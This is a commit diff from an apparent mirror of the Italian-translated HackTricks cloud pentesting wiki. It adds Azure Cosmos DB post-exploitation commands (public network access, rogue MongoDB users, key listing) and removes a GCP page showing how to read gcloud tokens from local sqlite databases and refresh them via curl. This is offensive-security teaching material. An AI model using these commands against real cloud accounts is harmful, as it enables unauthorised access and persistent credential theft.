mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 06:30:35 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -142,7 +142,7 @@
|
||||
- [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
|
||||
- [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
|
||||
- [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
|
||||
- [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
|
||||
- [GCP - Token Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md)
|
||||
- [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
|
||||
- [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
|
||||
- [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
|
||||
@@ -458,8 +458,8 @@
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - MySQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
|
||||
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
|
||||
@@ -489,8 +489,8 @@
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
|
||||
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
||||
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||
- [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
# Az - Queue Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Queue
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue.md
|
||||
{{#endref}}
|
||||
|
||||
### Azioni: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
Questo permesso consente a un attaccante di creare o modificare code e le loro proprietà all'interno dell'account di archiviazione. Può essere utilizzato per creare code non autorizzate, modificare i metadati o cambiare le liste di controllo degli accessi (ACL) per concedere o limitare l'accesso. Questa capacità potrebbe interrompere i flussi di lavoro, iniettare dati dannosi, esfiltrare informazioni sensibili o manipolare le impostazioni della coda per abilitare ulteriori attacchi.
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
|
||||
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,20 +0,0 @@
|
||||
# Az - SQL Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### Tecniche di Persistenza Comuni
|
||||
|
||||
- Compromettere le credenziali SQL o creare un utente SQL (abilitando l'autenticazione SQL se necessario)
|
||||
- Assegnare un utente compromesso come amministratore di Entra ID (abilitando l'autenticazione di Entra ID se necessario)
|
||||
- Backdoor nella VM (se viene utilizzata una VM SQL)
|
||||
- Creare una regola FW per mantenere l'accesso al database SQL
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -11,13 +11,26 @@ Per ulteriori informazioni su SQL Database controlla:
|
||||
|
||||
|
||||
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
|
||||
Con questo permesso, puoi creare o aggiornare gli account di Azure Cosmos DB. Questo include la modifica delle impostazioni a livello di account, l'aggiunta o la rimozione di regioni, la modifica dei livelli di coerenza e l'abilitazione o disabilitazione di funzionalità come le scritture multi-regione.
|
||||
Con questo permesso, puoi creare o aggiornare gli account di Azure Cosmos DB. Questo include la modifica delle configurazioni a livello di account, l'abilitazione o la disabilitazione del failover automatico, la gestione dei controlli di accesso alla rete, l'impostazione delle politiche di backup e l'aggiustamento dei livelli di coerenza. Gli attaccanti con questo permesso potrebbero alterare le impostazioni per indebolire i controlli di sicurezza, interrompere la disponibilità o esfiltrare dati modificando le regole di rete.
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--capabilities EnableMongoRoleBasedAccessControl
|
||||
```
|
||||
Inoltre, puoi abilitare le identità gestite nell'account:
|
||||
```bash
|
||||
az cosmosdb identity assign \
|
||||
--name <cosmosdb_account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
|
||||
Con questo permesso, puoi creare o modificare contenitori (collezioni) all'interno di un database SQL di un account Azure Cosmos DB. I contenitori sono utilizzati per memorizzare dati e le modifiche a essi possono influenzare la struttura del database e i modelli di accesso.
|
||||
```bash
|
||||
@@ -38,7 +51,7 @@ az cosmosdb sql container update \
|
||||
--ttl 3600
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
|
||||
Con questo permesso, puoi creare o modificare database SQL all'interno di un account Azure Cosmos DB. Questo consente di gestire la struttura del database e aggiungere nuovi database all'account. Sebbene questo permesso consenta la creazione di database, un uso improprio o non autorizzato potrebbe comportare un consumo eccessivo di risorse, costi aumentati o inefficienze operative.
|
||||
Con questo permesso, puoi creare o modificare database SQL all'interno di un account Azure Cosmos DB. Questo consente di gestire la struttura del database e aggiungere nuovi database all'account. Sebbene questo permesso consenta la creazione di database, un uso improprio o non autorizzato potrebbe comportare un consumo di risorse non necessario, costi aumentati o inefficienze operative.
|
||||
```bash
|
||||
az cosmosdb sql database create \
|
||||
--account-name <account_name> \
|
||||
@@ -56,7 +69,7 @@ az cosmosdb failover-priority-change \
|
||||
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
|
||||
Con questo permesso, puoi rigenerare le chiavi primarie o secondarie per un account Azure Cosmos DB. Questo viene solitamente utilizzato per migliorare la sicurezza sostituendo le chiavi vecchie, ma può interrompere l'accesso per servizi o applicazioni che dipendono dalle chiavi attuali.
|
||||
Con questo permesso, puoi rigenerare le chiavi primarie o secondarie per un account Azure Cosmos DB. Questo viene solitamente utilizzato per migliorare la sicurezza sostituendo le chiavi vecchie, ma può interrompere l'accesso per i servizi o le applicazioni che dipendono dalle chiavi attuali.
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
@@ -119,52 +132,4 @@ az cosmosdb mongodb database create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
|
||||
Con questo permesso, puoi creare nuove definizioni di ruolo MongoDB all'interno di un account Azure Cosmos DB. Questo consente di definire ruoli personalizzati con permessi specifici per gli utenti MongoDB.
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
|
||||
Con questo permesso, puoi creare nuove definizioni di utenti MongoDB all'interno di un account Azure Cosmos DB. Questo consente il provisioning di utenti con ruoli e livelli di accesso specifici ai database MongoDB.
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "myUser",
|
||||
"Password": "mySecurePassword",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -34,7 +34,7 @@ az cosmosdb sql role definition create \
|
||||
]
|
||||
}'
|
||||
```
|
||||
Dopo che l'assegnazione della definizione è stata data a un utente. Dopo di che, quell'utente può utilizzare il metodo di connessione DefaultAzureCredential() per eseguire query.
|
||||
Dopo che l'assegnazione della definizione è stata data a un utente. Dopo di ciò, quell'utente può utilizzare il metodo di connessione DefaultAzureCredential() per eseguire query.
|
||||
```bash
|
||||
az cosmosdb sql role assignment create \
|
||||
--account-name <account_name> \
|
||||
@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
|
||||
|
||||
Con questo permesso, puoi creare nuove definizioni di ruolo MongoDB all'interno di un account Azure Cosmos DB. Questo consente di definire ruoli personalizzati con permessi specifici per gli utenti MongoDB. Le funzionalità RBAC devono essere abilitate per utilizzare questo.
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
Puoi creare nuove definizioni di utenti MongoDB all'interno di un account Azure Cosmos DB. Questo consente il provisioning di utenti con ruoli specifici e accesso ai database MongoDB.
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "<myUser>",
|
||||
"Password": "<mySecurePassword>",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
Dopo che un nuovo utente è stato creato all'interno del MongoDB, possiamo accedervi:
|
||||
```bash
|
||||
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
|
||||
Con questo permesso, puoi recuperare le chiavi primaria e secondaria per un account Azure Cosmos DB. Queste chiavi forniscono accesso completo all'account del database e alle sue risorse, abilitando azioni come letture, scritture e modifiche di configurazione dei dati.
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,90 +0,0 @@
|
||||
# GCP - Persistenza del Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Token Utente Autenticato
|
||||
|
||||
Per ottenere il **token attuale** di un utente puoi eseguire:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Controlla in questa pagina come **utilizzare direttamente questo token usando gcloud**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
Per ottenere i dettagli per **generare un nuovo token di accesso** esegui:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
È anche possibile trovare i token di aggiornamento in **`$HOME/.config/gcloud/application_default_credentials.json`** e in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
Per ottenere un nuovo token di accesso aggiornato con il **refresh token**, l'ID client e il segreto client eseguire:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
La validità dei token di aggiornamento può essere gestita in **Admin** > **Security** > **Google Cloud session control**, e per impostazione predefinita è impostata su 16h anche se può essere impostata per non scadere:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
|
||||
Il flusso di autenticazione quando si utilizza qualcosa come `gcloud auth login` aprirà un prompt nel browser e dopo aver accettato tutti gli ambiti, il browser invierà una richiesta come questa alla porta http aperta dallo strumento:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Poi, gcloud utilizzerà lo stato e il codice con un `client_id` hardcoded (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) per ottenere i **dati finali del refresh token**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che la comunicazione con localhost avviene in HTTP, quindi è possibile intercettare i dati per ottenere un refresh token, tuttavia questi dati sono validi solo 1 volta, quindi sarebbe inutile, è più facile semplicemente leggere il refresh token dal file.
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
Puoi trovare tutti gli scope di Google in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) o ottenerli eseguendo:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
È possibile vedere quali ambiti l'applicazione che **`gcloud`** utilizza per autenticarsi può supportare con questo script:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Dopo averlo eseguito, è stato verificato che questa app supporta questi ambiti:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
https://www.googleapis.com/auth/cloud-platform
|
||||
https://www.googleapis.com/auth/compute
|
||||
https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
è interessante vedere come questa app supporti l'**`drive`** scope, che potrebbe consentire a un utente di escalare da GCP a Workspace se un attaccante riesce a costringere l'utente a generare un token con questo scope.
|
||||
|
||||
**Controlla come** [**abusare di questo qui**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Account di Servizio
|
||||
|
||||
Proprio come con gli utenti autenticati, se riesci a **compromettere il file della chiave privata** di un account di servizio sarai in grado di **accedervi di solito per tutto il tempo che vuoi**.\
|
||||
Tuttavia, se rubi il **token OAuth** di un account di servizio questo può essere ancora più interessante, perché, anche se per impostazione predefinita questi token sono utili solo per un'ora, se la **vittima elimina la chiave API privata, il token OAuth sarà ancora valido fino alla scadenza**.
|
||||
|
||||
### Metadati
|
||||
|
||||
Ovviamente, finché sei all'interno di una macchina in esecuzione nell'ambiente GCP sarai in grado di **accedere all'account di servizio associato a quella macchina contattando l'endpoint dei metadati** (nota che i token OAuth a cui puoi accedere in questo endpoint sono di solito limitati da scope).
|
||||
|
||||
### Rimedi
|
||||
|
||||
Alcuni rimedi per queste tecniche sono spiegati in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### Riferimenti
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user